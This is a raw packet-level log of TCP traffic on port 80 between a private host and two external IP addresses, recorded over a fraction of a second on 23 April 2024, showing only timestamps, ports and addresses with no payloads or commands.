Apr 23, 2024 09:38:11.828999043 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829003096 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829020023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829035997 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829041958 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829051971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829067945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829067945 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829081059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829083920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829099894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829099894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829116106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829123020 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829133034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829140902 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829149008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829157114 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829164982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829169035 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829185009 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829189062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829204082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829205990 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829220057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829222918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829236984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829240084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829250097 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829253912 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829271078 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829272985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829287052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829294920 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829303026 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829303026 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.829317093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.829336882 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.834774017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.834791899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.834835052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.834882975 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835609913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835627079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835659981 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835705042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835732937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835750103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835767031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835776091 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835784912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835788965 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835803032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835809946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835819006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835819960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835834980 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835838079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835855007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835855961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835870981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835876942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835887909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835890055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835906029 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835906029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835953951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835958004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835958004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.835971117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.835987091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836002111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836003065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836003065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836018085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836019993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836038113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836040020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836055040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836067915 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836067915 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836071014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836088896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836108923 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836108923 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836113930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836124897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836132050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836148977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836153030 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836163998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836165905 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836180925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836183071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836198092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836199045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836214066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836219072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836230993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836231947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836249113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836250067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836265087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836266994 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836282015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836287022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836297989 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836299896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836318016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836318970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836333990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836338043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836349010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836349964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836368084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836375952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836385012 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836385965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836404085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836405993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836416960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836421967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836438894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836441994 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836453915 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836456060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836472034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836472988 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836488962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836493969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836503029 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836505890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836523056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836528063 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836536884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836540937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836558104 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836560011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836571932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836575031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836591959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836596012 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836608887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836608887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.836626053 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.836646080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.883378983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.883407116 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.883452892 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.883472919 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.885674000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.885690928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.885706902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.885723114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.885740042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.885755062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.885771036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.885870934 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.885886908 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.885902882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.885919094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.885935068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.885978937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.885994911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886015892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886032104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886046886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886064053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886080027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886095047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886111021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886126041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886142015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886157036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886176109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886190891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886207104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886223078 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886238098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886255026 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886271954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886277914 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.886287928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886305094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886321068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886336088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886352062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886367083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886382103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886398077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886413097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886429071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886444092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886459112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886475086 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886490107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886504889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886521101 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886538029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886554003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886569977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886584997 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886600971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886615992 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886631966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886648893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886666059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886681080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886697054 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886713028 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886729002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886745930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886760950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886775970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886791945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886807919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886822939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886837959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886853933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886868954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886883974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886899948 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886915922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886930943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886946917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886962891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886979103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.886995077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887010098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887025118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887039900 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887048006 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887056112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887074947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887089968 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887098074 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887105942 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887121916 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887136936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887151957 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887167931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887183905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887198925 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887214899 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887231112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887245893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887262106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887278080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887293100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887309074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887324095 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887340069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887356043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887371063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887387037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887402058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887418985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887427092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887434006 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887449980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887455940 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887465000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887480974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887497902 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887497902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887514114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887520075 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887528896 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887550116 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887553930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887568951 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887587070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887593985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887603045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887619019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887624979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887635946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887651920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887660027 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887667894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887684107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887689114 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887701035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887717962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887728930 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887733936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887748957 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887758017 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887764931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887780905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887787104 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887797117 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887814045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887818098 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887830019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887846947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887852907 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887864113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887880087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887887955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.887897015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.887923002 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.927498102 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.927515984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.927534103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.927556992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.927575111 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.939342976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.939362049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.939378023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.939398050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.939414978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.939413071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.939448118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.939460039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.939464092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.939485073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.939501047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.939517021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.939517021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.939559937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.940670967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.940687895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.940704107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.940717936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.940737963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.940817118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.940841913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.940856934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.940864086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.940875053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.940884113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.940896988 CEST	80	49733	185.172.128.76	192.168.2.4
